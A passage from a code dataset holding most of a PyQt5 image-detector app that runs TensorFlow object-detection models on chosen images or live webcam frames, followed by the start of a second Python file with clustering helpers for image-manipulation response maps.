self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.label = QtWidgets.QLabel(self.widget)\n self.label.setObjectName(\"label\")\n self.horizontalLayout.addWidget(self.label)\n self.select_object = QtWidgets.QComboBox(self.widget)\n self.select_object.setObjectName(\"select_object\")\n self.select_object.addItem(\"\")\n self.select_object.addItem(\"\")\n self.select_object.addItem(\"\")\n self.select_object.addItem(\"\")\n self.select_object.addItem(\"\")\n self.select_object.addItem(\"\")\n self.select_object.addItem(\"\")\n self.horizontalLayout.addWidget(self.select_object)\n self.gridLayout.addLayout(self.horizontalLayout, 0, 0, 1, 1)\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n self.label_2 = QtWidgets.QLabel(self.widget)\n self.label_2.setObjectName(\"label_2\")\n self.horizontalLayout_2.addWidget(self.label_2)\n self.file_path = QtWidgets.QLineEdit(self.widget)\n self.file_path.setObjectName(\"file_path\")\n self.horizontalLayout_2.addWidget(self.file_path)\n self.browse_button = QtWidgets.QPushButton(self.widget)\n self.browse_button.setFocusPolicy(QtCore.Qt.NoFocus)\n self.browse_button.setText(\"\")\n icon1 = QtGui.QIcon()\n icon1.addPixmap(QtGui.QPixmap(\"./assets/img/icons8-folder-16.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.browse_button.setIcon(icon1)\n self.browse_button.setObjectName(\"browse_button\")\n self.horizontalLayout_2.addWidget(self.browse_button)\n self.browse_button.clicked.connect(self.select_file)\n self.gridLayout.addLayout(self.horizontalLayout_2, 1, 0, 1, 1)\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout()\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n self.process_button = QtWidgets.QPushButton(self.widget)\n self.process_button.setFocusPolicy(QtCore.Qt.NoFocus)\n icon2 = QtGui.QIcon()\n icon2.addPixmap(QtGui.QPixmap(\"./assets/img/icons8-checkmark-32.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.process_button.setIcon(icon2)\n self.process_button.setObjectName(\"process_button\")\n self.process_button.clicked.connect(self.process)\n self.horizontalLayout_3.addWidget(self.process_button)\n self.cancel_button = QtWidgets.QPushButton(self.widget)\n self.cancel_button.setFocusPolicy(QtCore.Qt.NoFocus)\n icon3 = QtGui.QIcon()\n icon3.addPixmap(QtGui.QPixmap(\"./assets/img/icons8-cancel-32.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.cancel_button.setIcon(icon3)\n self.cancel_button.setObjectName(\"cancel_button\")\n self.cancel_button.clicked.connect(self.close)\n self.horizontalLayout_3.addWidget(self.cancel_button)\n self.gridLayout.addLayout(self.horizontalLayout_3, 2, 0, 1, 1)\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 340, 21))\n self.menubar.setObjectName(\"menubar\")\n self.menuFile = QtWidgets.QMenu(self.menubar)\n self.menuFile.setObjectName(\"menuFile\")\n self.menuHelp = QtWidgets.QMenu(self.menubar)\n self.menuHelp.setObjectName(\"menuHelp\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n self.actionClose = QtWidgets.QAction(MainWindow)\n self.actionClose.setObjectName(\"actionClose\")\n self.actionClose.triggered.connect(self.close)\n self.actionAbout = QtWidgets.QAction(MainWindow)\n self.actionAbout.setObjectName(\"actionAbout\")\n self.actionAbout.triggered.connect(self.About)\n self.actionHelp = QtWidgets.QAction(MainWindow)\n self.actionHelp.setObjectName(\"actionHelp\")\n self.actionHelp.triggered.connect(self.open_help)\n self.actionShortcuts = QtWidgets.QAction(MainWindow)\n self.actionShortcuts.setObjectName(\"actionShortcuts\")\n self.actionShortcuts.triggered.connect(self.shortcut)\n self.menuFile.addAction(self.actionClose)\n self.menuHelp.addAction(self.actionAbout)\n self.menuHelp.addAction(self.actionHelp)\n self.menuHelp.addAction(self.actionShortcuts)\n self.menubar.addAction(self.menuFile.menuAction())\n self.menubar.addAction(self.menuHelp.menuAction())\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Image Detector \"))\n self.groupBox.setTitle(_translate(\"MainWindow\", \"Image Detector\"))\n self.label.setText(_translate(\"MainWindow\", \"Select Object to be detected:\"))\n self.select_object.setItemText(0, _translate(\"MainWindow\", \"Rotten/Fresh Apples\"))\n self.select_object.setItemText(1, _translate(\"MainWindow\", \"Rotten/Fresh Oranges\"))\n self.select_object.setItemText(2, _translate(\"MainWindow\", \"Rotten/Fresh Bananas\"))\n self.select_object.setItemText(3, _translate(\"MainWindow\", \"Cats or Dogs\"))\n self.select_object.setItemText(4, _translate(\"MainWindow\", \"LiveCam\"))\n self.select_object.setItemText(5, _translate(\"MainWindow\", \"LiveCam/RandomObjects\"))\n self.select_object.setItemText(6, _translate(\"MainWindow\", \"LiveCam/FaceDetect\"))\n self.label_2.setText(_translate(\"MainWindow\", \"Choose Image:\"))\n self.browse_button.setShortcut(_translate(\"MainWindow\", \"Ctrl+B\"))\n self.process_button.setText(_translate(\"MainWindow\", \"Process\"))\n self.process_button.setShortcut(_translate(\"MainWindow\", \"Ctrl+P\"))\n self.cancel_button.setText(_translate(\"MainWindow\", \"Cancel\"))\n self.cancel_button.setShortcut(_translate(\"MainWindow\", \"Ctrl+Shift+X\"))\n self.menuFile.setTitle(_translate(\"MainWindow\", \"File\"))\n self.menuHelp.setTitle(_translate(\"MainWindow\", \"Help\"))\n self.actionClose.setText(_translate(\"MainWindow\", \"Close\"))\n self.actionClose.setStatusTip(_translate(\"MainWindow\", \"Close Application \"))\n self.actionClose.setShortcut(_translate(\"MainWindow\", \"Ctrl+X\"))\n self.actionAbout.setText(_translate(\"MainWindow\", \"About\"))\n self.actionAbout.setStatusTip(_translate(\"MainWindow\", \"Open About \"))\n self.actionAbout.setShortcut(_translate(\"MainWindow\", \"Ctrl+Shift+A\"))\n self.actionHelp.setText(_translate(\"MainWindow\", \"Help\"))\n self.actionHelp.setStatusTip(_translate(\"MainWindow\", \"Open Help Document\"))\n self.actionHelp.setShortcut(_translate(\"MainWindow\", \"Ctrl+H\"))\n self.actionShortcuts.setText(_translate(\"MainWindow\", \"Shortcuts\"))\n self.actionShortcuts.setStatusTip(_translate(\"MainWindow\", \"Open Shortcuts\"))\n self.actionShortcuts.setShortcut(_translate(\"MainWindow\", \"Ctrl+Shift+S\"))\n\n @pyqtSlot() \n def load_image_into_numpy_array(self,image):\n (im_width, im_height) = image.size\n if image.getdata().mode == \"RGBA\":\n image = image.convert('RGB')\n np_array = np.array(image.getdata())\n reshaped = np_array.reshape((im_height, im_width, 3))\n return reshaped.astype(np.uint8)\n @pyqtSlot() \n def run_inference_for_single_image(self,image, graph):\n with graph.as_default():\n with tf.compat.v1.Session() as sess:\n # Get handles to input and output tensors\n ops = tf.compat.v1.get_default_graph().get_operations()\n all_tensor_names = {\n output.name for op in ops for output in op.outputs}\n tensor_dict = {}\n for key in [\n 'num_detections', 'detection_boxes', 'detection_scores',\n 'detection_classes', 'detection_masks'\n ]:\n tensor_name = key + ':0'\n if tensor_name in all_tensor_names:\n tensor_dict[key] = tf.compat.v1.get_default_graph().get_tensor_by_name(\n tensor_name)\n if 'detection_masks' in tensor_dict:\n # The following processing is only for single image\n detection_boxes = tf.squeeze(\n tensor_dict['detection_boxes'], [0])\n detection_masks = tf.squeeze(\n tensor_dict['detection_masks'], [0])\n # Reframe is required to translate mask from box coordinates to image coordinates and fit the image size.\n real_num_detection = tf.cast(\n tensor_dict['num_detections'][0], tf.int32)\n detection_boxes = tf.slice(detection_boxes, [0, 0], [\n real_num_detection, -1])\n detection_masks = tf.slice(detection_masks, [0, 0, 0], [\n real_num_detection, -1, -1])\n detection_masks_reframed = utils_ops.reframe_box_masks_to_image_masks(\n detection_masks, detection_boxes, image.shape[0], image.shape[1])\n detection_masks_reframed = tf.cast(\n tf.greater(detection_masks_reframed, 0.5), tf.uint8)\n # Follow the convention by adding back the batch dimension\n tensor_dict['detection_masks'] = tf.expand_dims(\n detection_masks_reframed, 0)\n image_tensor = tf.compat.v1.get_default_graph().get_tensor_by_name('image_tensor:0')\n # Run inference\n output_dict = sess.run(tensor_dict,feed_dict={image_tensor: np.expand_dims(image, 0)})\n\n # all outputs are float32 numpy arrays, so convert types as appropriate\n output_dict['num_detections'] = int(output_dict['num_detections'][0])\n output_dict['detection_classes'] = output_dict['detection_classes'][0].astype(np.uint8)\n output_dict['detection_boxes'] = output_dict['detection_boxes'][0]\n output_dict['detection_scores'] = output_dict['detection_scores'][0]\n if 'detection_masks' in output_dict:\n output_dict['detection_masks'] = output_dict['detection_masks'][0]\n return output_dict \n @pyqtSlot()\n def get_num_classes(self,pbtxt_fname):\n label_map = label_map_util.load_labelmap(pbtxt_fname)\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=90, use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n return len(category_index.keys()) \n \n @pyqtSlot()\n def select_file(self):\n self.dir_name,_ = QtWidgets.QFileDialog.getOpenFileName(None, \"Select Image\", \"\",\"Images (*.jpg *.png);\")\n if self.dir_name:\n self.file_path.setText(self.dir_name) \n @pyqtSlot()\n def close(self):\n buttonReply = QMessageBox.question(None, 'Confirm', \"Are you sure you want to close?\", QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n if buttonReply == QMessageBox.Yes:\n sys.exit(1)\n \n \n @pyqtSlot()\n def shortcut(self):\n Dialog = QtWidgets.QDialog(None, QtCore.Qt.WindowCloseButtonHint | QtCore.Qt.WindowTitleHint)\n window = sh.Ui_ShortcutsWindow()\n window.setupUi(Dialog)\n Dialog.exec_() \n @pyqtSlot()\n def About(self):\n Dialog = QtWidgets.QDialog(None, QtCore.Qt.WindowCloseButtonHint | QtCore.Qt.WindowTitleHint)\n window = about.Ui_About()\n window.setupUi(Dialog)\n Dialog.exec_()\n @pyqtSlot()\n def open_help(self):\n webbrowser.open(\"README.md\") \n\n @pyqtSlot()\n def detect_apple(self):\n try:\n test_record_fname = './data/annotations/apples/test.record'\n train_record_fname = './data/annotations/apples/train.record'\n label_map_pbtxt_fname = './data/annotations/apples/label_map.pbtxt'\n pb_fname = './assets/inference_graphs/apples/apple_graph.pb'\n IMAGE_SIZE = (12, 8)\n PATH_TO_CKPT = pb_fname\n PATH_TO_LABELS = label_map_pbtxt_fname\n num_classes = self.get_num_classes(label_map_pbtxt_fname)\n assert os.path.isfile(pb_fname)\n assert os.path.isfile(PATH_TO_LABELS)\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(\n label_map, max_num_classes=num_classes, use_display_name=True)\n category_index = label_map_util.create_category_index(categories) \n image_path = self.file_path.text()\n image = Image.open(image_path)\n # the array based representation of the image will be used later in order to prepare the\n # result image with boxes and labels on it.\n image_np = self.load_image_into_numpy_array(image)\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n output_dict = self.run_inference_for_single_image(image_np, detection_graph)\n # Visualization of the results of a detection.\n vis_util.visualize_boxes_and_labels_on_image_array(\n image_np,\n output_dict['detection_boxes'],\n output_dict['detection_classes'],\n output_dict['detection_scores'],\n category_index,\n instance_masks=output_dict.get('detection_masks'),\n use_normalized_coordinates=True,\n line_thickness=10) \n image_np= cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) \n cv2.imshow(image_path.split('/')[-1],image_np)\n except Exception as e:\n print(\"Please select another image because the current image gives an irregular array shape\",e) \n @pyqtSlot()\n def detect_oranges(self):\n try:\n test_record_fname = './data/annotations/oranges/test.record'\n train_record_fname = './data/annotations/oranges/train.record'\n label_map_pbtxt_fname = './data/annotations/oranges/label_map.pbtxt'\n pb_fname = './assets/inference_graphs/oranges/orange_inference_graph.pb'\n IMAGE_SIZE = (12, 8)\n PATH_TO_CKPT = pb_fname\n PATH_TO_LABELS = label_map_pbtxt_fname\n num_classes = self.get_num_classes(label_map_pbtxt_fname)\n assert os.path.isfile(pb_fname)\n assert os.path.isfile(PATH_TO_LABELS)\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(\n label_map, max_num_classes=num_classes, use_display_name=True)\n category_index = label_map_util.create_category_index(categories) \n image_path = self.file_path.text()\n image = Image.open(image_path)\n # the array based representation of the image will be used later in order to prepare the\n # result image with boxes and labels on it.\n image_np = self.load_image_into_numpy_array(image)\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n output_dict = self.run_inference_for_single_image(image_np, detection_graph)\n # Visualization of the results of a detection.\n vis_util.visualize_boxes_and_labels_on_image_array(\n image_np,\n output_dict['detection_boxes'],\n output_dict['detection_classes'],\n output_dict['detection_scores'],\n category_index,\n instance_masks=output_dict.get('detection_masks'),\n use_normalized_coordinates=True,\n line_thickness=10) \n image_np= cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) \n cv2.imshow(image_path.split('/')[-1],image_np) \n except Exception as e:\n print(\"Please select another image because the current image gives an irregular array shape\",e) \n @pyqtSlot()\n def detect_bananas(self):\n try:\n test_record_fname = './data/annotations/bananas/test.record'\n train_record_fname = './data/annotations/bananas/train.record'\n label_map_pbtxt_fname = './data/annotations/bananas/label_map.pbtxt'\n pb_fname = './assets/inference_graphs/bananas/banana_inference_graph.pb'\n IMAGE_SIZE = (12, 8)\n PATH_TO_CKPT = pb_fname\n PATH_TO_LABELS = label_map_pbtxt_fname\n num_classes = self.get_num_classes(label_map_pbtxt_fname)\n assert os.path.isfile(pb_fname)\n assert os.path.isfile(PATH_TO_LABELS)\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(\n label_map, max_num_classes=num_classes, use_display_name=True)\n category_index = label_map_util.create_category_index(categories) \n image_path = self.file_path.text()\n image = Image.open(image_path)\n # the array based representation of the image will be used later in order to prepare the\n # result image with boxes and labels on it.\n image_np = self.load_image_into_numpy_array(image)\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n output_dict = self.run_inference_for_single_image(image_np, detection_graph)\n # Visualization of the results of a detection.\n vis_util.visualize_boxes_and_labels_on_image_array(\n image_np,\n output_dict['detection_boxes'],\n output_dict['detection_classes'],\n output_dict['detection_scores'],\n category_index,\n instance_masks=output_dict.get('detection_masks'),\n use_normalized_coordinates=True,\n line_thickness=10) \n image_np= cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) \n cv2.imshow(image_path.split('/')[-1],image_np) \n except Exception as e:\n print(\"Please select another image because the current image gives an irregular array shape\",e) \n\n\n @pyqtSlot()\n def detect_dogs(self):\n print(\"Dogs called\") \n try:\n test_record_fname = './data/annotations/catsvsdogs/test.record'\n train_record_fname = './data/annotations/catsvsdogs/train.record'\n label_map_pbtxt_fname = './data/annotations/catsvsdogs/label_map.pbtxt'\n pb_fname = './assets/inference_graphs/dogs/inference_graph.pb'\n IMAGE_SIZE = (12, 8)\n PATH_TO_CKPT = pb_fname\n PATH_TO_LABELS = label_map_pbtxt_fname\n num_classes = self.get_num_classes(label_map_pbtxt_fname)\n assert os.path.isfile(pb_fname)\n assert os.path.isfile(PATH_TO_LABELS)\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(\n label_map, max_num_classes=num_classes, use_display_name=True)\n category_index = label_map_util.create_category_index(categories) \n image_path = self.file_path.text()\n image = Image.open(image_path)\n image_np = self.load_image_into_numpy_array(image)\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n output_dict = self.run_inference_for_single_image(image_np, detection_graph)\n # Visualization of the results of a detection.\n vis_util.visualize_boxes_and_labels_on_image_array(\n image_np,\n output_dict['detection_boxes'],\n output_dict['detection_classes'],\n output_dict['detection_scores'],\n category_index,\n instance_masks=output_dict.get('detection_masks'),\n use_normalized_coordinates=True,\n line_thickness=10) \n image_np= cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) \n cv2.imshow(image_path.split('/')[-1],image_np) \n except Exception as e:\n print(\"Please select another image because the current image gives an irregular array shape\",e) \n \n\n @pyqtSlot()\n def live_cam(self):\n print(\"liveCam Called\")\n label_map_pbtxt_fname = './data/annotations/live/label_map.pbtxt'\n PATH_TO_LABELS = label_map_pbtxt_fname\n pb_fname = './assets/inference_graphs/live/live_graph.pb'\n PATH_TO_CKPT = pb_fname\n PATH_TO_LABELS = label_map_pbtxt_fname\n NUM_CLASSES = self.get_num_classes(label_map_pbtxt_fname)\n assert os.path.isfile(pb_fname)\n assert os.path.isfile(PATH_TO_LABELS)\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='') \n try: \n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n except Exception as e:\n print(e) \n try: \n cap = cv2.VideoCapture(0)\n except Exception as e:\n print(\"Problem with your web cam please check and restart application\")\n sys.exit(1) \n \n with detection_graph.as_default():\n with tf.compat.v1.Session(graph=detection_graph) as sess:\n while True:\n ret, image_np = cap.read()\n image_np_expanded = np.expand_dims(image_np, axis=0)\n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n scores = detection_graph.get_tensor_by_name('detection_scores:0')\n classes = detection_graph.get_tensor_by_name('detection_classes:0')\n num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n (boxes, scores, classes, num_detections) = sess.run([boxes, scores, classes, num_detections],feed_dict={image_tensor: image_np_expanded})\n vis_util.visualize_boxes_and_labels_on_image_array(image_np,np.squeeze(boxes),np.squeeze(classes).astype(np.int32),np.squeeze(scores),category_index,use_normalized_coordinates=True,line_thickness=8)\n cv2.imshow('LiveCam', cv2.resize(image_np, (360, 240)))\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break\n \n @pyqtSlot()\n def live_cam_random(self):\n print(\"liveCam/Random Called\") \n label_map_pbtxt_fname = './data/annotations/random_objects/label_map.pbtxt'\n PATH_TO_LABELS = label_map_pbtxt_fname\n pb_fname = './assets/inference_graphs/random_objects/random_objects_graph.pb'\n PATH_TO_CKPT = pb_fname\n PATH_TO_LABELS = label_map_pbtxt_fname\n NUM_CLASSES = self.get_num_classes(label_map_pbtxt_fname)\n assert os.path.isfile(pb_fname)\n assert os.path.isfile(PATH_TO_LABELS)\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='') \n try: \n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n except Exception as e:\n print(e) \n try: \n cap = cv2.VideoCapture(0)\n except Exception as e:\n print(\"Problem with your web cam please check and restart application\")\n sys.exit(1) \n \n with detection_graph.as_default():\n with tf.compat.v1.Session(graph=detection_graph) as sess:\n while True:\n ret, image_np = cap.read()\n image_np_expanded = np.expand_dims(image_np, axis=0)\n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n scores = detection_graph.get_tensor_by_name('detection_scores:0')\n classes = detection_graph.get_tensor_by_name('detection_classes:0')\n num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n (boxes, scores, classes, num_detections) = sess.run([boxes, scores, classes, num_detections],feed_dict={image_tensor: image_np_expanded})\n vis_util.visualize_boxes_and_labels_on_image_array(image_np,np.squeeze(boxes),np.squeeze(classes).astype(np.int32),np.squeeze(scores),category_index,use_normalized_coordinates=True,line_thickness=8)\n cv2.imshow('Random Objects', cv2.resize(image_np, (480, 360)))\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break\n \n @pyqtSlot()\n def live_cam_faces(self):\n print(\"liveCam/Faces Called\")\n label_map_pbtxt_fname = './data/annotations/faces/label_map.pbtxt'\n PATH_TO_LABELS = label_map_pbtxt_fname\n pb_fname = './assets/inference_graphs/faces/face_detector_graph.pb'\n PATH_TO_CKPT = pb_fname\n PATH_TO_LABELS = label_map_pbtxt_fname\n NUM_CLASSES = self.get_num_classes(label_map_pbtxt_fname)\n assert os.path.isfile(pb_fname)\n assert os.path.isfile(PATH_TO_LABELS)\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='') \n try: \n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n except Exception as e:\n print(e) \n try: \n cap = cv2.VideoCapture(0)\n except Exception as e:\n print(\"Problem with your web cam please check and restart application\")\n sys.exit(1) \n \n with detection_graph.as_default():\n with tf.compat.v1.Session(graph=detection_graph) as sess:\n while True:\n ret, image_np = cap.read()\n image_np_expanded = np.expand_dims(image_np, axis=0)\n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n scores = detection_graph.get_tensor_by_name('detection_scores:0')\n classes = detection_graph.get_tensor_by_name('detection_classes:0')\n num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n (boxes, scores, classes, num_detections) = sess.run([boxes, scores, classes, num_detections],feed_dict={image_tensor: image_np_expanded})\n vis_util.visualize_boxes_and_labels_on_image_array(image_np,np.squeeze(boxes),np.squeeze(classes).astype(np.int32),np.squeeze(scores),category_index,use_normalized_coordinates=True,line_thickness=8)\n cv2.imshow('Faces', cv2.resize(image_np, (360, 240)))\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break \n \n \n\n @pyqtSlot()\n def process(self):\n if str(self.file_path.text()) == \"\":\n print(\"Please Select an image file\")\n\n elif str(self.file_path.text()) ==\"LiveCam\":\n if str(self.select_object.currentText()) == \"LiveCam\": \n self.live_cam() \n elif str(self.select_object.currentText()) == \"LiveCam/RandomObjects\":\n self.live_cam_random()\n elif str(self.select_object.currentText()) == \"LiveCam/FaceDetect\":\n self.live_cam_faces()\n else:\n if str(self.select_object.currentText()) == \"Rotten/Fresh Apples\":\n self.detect_apple() \n elif str(self.select_object.currentText()) == \"Rotten/Fresh Oranges\":\n self.detect_oranges()\n elif str(self.select_object.currentText()) == \"Rotten/Fresh Bananas\":\n self.detect_bananas()\n elif str(self.select_object.currentText()) == \"Cats or Dogs\": \n self.detect_dogs() \n \n \n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n MainWindow = QtWidgets.QMainWindow()\n ui = Ui_MainWindow()\n ui.setupUi(MainWindow)\n MainWindow.show()\n sys.exit(app.exec_())\n\n\n","sub_path":"image_detector_v2.py","file_name":"image_detector_v2.py","file_ext":"py","file_size_in_byte":34320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"396497126","text":"from __future__ import print_function\nfrom __future__ import division\n\nimport os, sys, numpy as np, ast\nimport selfconsistency.load_models as load_models\nfrom selfconsistency.lib.utils import benchmark_utils, util\nimport tensorflow as tf\nimport cv2, time, scipy, scipy.misc as scm, sklearn.cluster, skimage.io as skio, numpy as np, argparse\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import DBSCAN\nimport time\ndef mean_shift(points_, heat_map, iters=5):\n #print('Shape mean shift in : {}'.format(points_.shape))\n points = np.copy(points_)\n kdt = scipy.spatial.cKDTree(points)\n eps_5 = np.percentile(scipy.spatial.distance.cdist(points, points, metric='euclidean'), 10)\n \n for epis in range(iters):\n for point_ind in range(points.shape[0]):\n point = points[point_ind]\n nearest_inds = kdt.query_ball_point(point, r=eps_5)\n points[point_ind] = np.mean(points[nearest_inds], axis=0)\n val = []\n for i in range(points.shape[0]):\n val.append(kdt.count_neighbors(scipy.spatial.cKDTree(np.array([points[i]])), r=eps_5))\n max_val = np.max(val)\n ind = np.nonzero(val == max_val)\n return np.mean(points[ind[0]], axis=0).reshape(heat_map.shape[0], heat_map.shape[1])\n\ndef centroid_mode(heat_map):\n eps_thresh = np.percentile(heat_map, 10)\n k = heat_map <= eps_thresh\n # Get's max centroid\n num_affinities = np.sum(k, axis=(2, 3))\n x = np.nonzero(num_affinities >= np.max(num_affinities))\n if type(x) is tuple:\n ind1 = x[0][0]\n ind2 = x[1][0]\n else:\n ind1 = x[0]\n ind2 = x[1]\n assert np.max(num_affinities) == num_affinities[ind1, ind2]\n return heat_map[ind1, ind2]\n\ndef normalized_cut(res):\n sc = sklearn.cluster.SpectralClustering(n_clusters=2, n_jobs=-1,\n affinity=\"precomputed\")\n out = sc.fit_predict(res.reshape((res.shape[0] * res.shape[1], -1)))\n vis = out.reshape((res.shape[0], res.shape[1]))\n return vis\ndef process_response_no_resize(response):\n return 255 * plt.cm.jet(response)[:,:,:3]\n\ndef process_response(response):\n size = get_resized_shape(response)\n im = 255 * plt.cm.jet(response)[:,:,:3]\n return scm.imresize(im, size)# , interp='nearest')\n\ndef get_resized_shape(im, max_im_dim=400):\n ratio = float(max_im_dim) / np.max(im.shape)\n return (int(im.shape[0] * ratio), int(im.shape[1] * ratio), 3)\n\ndef process_image(im):\n size = get_resized_shape(im)\n return scm.imresize(im, size) #, interp='nearest')\n\ndef norm(response):\n res = response - np.min(response)\n return res/np.max(res)\n\ndef apply_mask(im, mask):\n mask = scipy.misc.imresize(mask, (im.shape[0], im.shape[1])) / 255.\n mask = mask.reshape(im.shape[0], im.shape[1], 1)\n mask = mask * 0.8 + 0.2\n return mask * im\n\ndef aff_fn(v1, v2):\n return np.mean((v1 * v2 + (1 - v1)*(1 - v2)))\n\ndef ssd_distance(results, with_inverse=True):\n def ssd(x, y):\n # uses mean instead\n return np.mean(np.square(x - y))\n \n results = np.array(results)\n results = np.concatenate([results, 1.0 - results], axis=0)\n \n dist_matrix = np.zeros((len(results), len(results)))\n for i, r_x in enumerate(results):\n for j, r_y in enumerate(results):\n score = ssd(r_x, r_y)\n dist_matrix[i][j] = score \n return dist_matrix, results\n\ndef dbscan_consensus(results, eps_range=(0.1, 0.5), eps_sample=10, dbscan_sample=4):\n \"\"\"\n Slowly increases DBSCAN epsilon until a cluster is found. \n The distance between responses is the SSD.\n Best prediction is based on the spread within the cluster. \n Here spread is the average per-pixel variance of the output.\n The cluster is then combined using the median of the cluster.\n When no cluster is found, returns the response\n that has smallest median score across other responses.\n \"\"\"\n \n dist_matrix, results = ssd_distance(results, with_inverse=True)\n \n debug = False #True\n lowest_spread = 100.0\n best_pred = None\n\n for eps in np.linspace(eps_range[0], eps_range[1], eps_sample):\n db = DBSCAN(eps=eps, min_samples=dbscan_sample).fit(dist_matrix)\n labels = set(db.labels_)\n \n if debug: \n print('DBSCAN with epsilon %.3f' % eps)\n print('Found %i labels' % len(labels))\n \n try:\n labels.remove(-1)\n except:\n pass\n \n if debug: \n print('%i Unique cluster' % len(labels))\n labels = np.array(list(labels))\n\n if len(labels) < 2:\n if debug: \n print('Not enough cluster found')\n continue \n\n clusters = {l:np.argwhere(db.labels_ == l) for l in labels}\n cluster_spreads = {}\n cluster_preds = {}\n\n for lbl, cluster_indices in clusters.items():\n if debug: \n print('Cluster %i with %i samples' % (lbl, len(cluster_indices)))\n \n 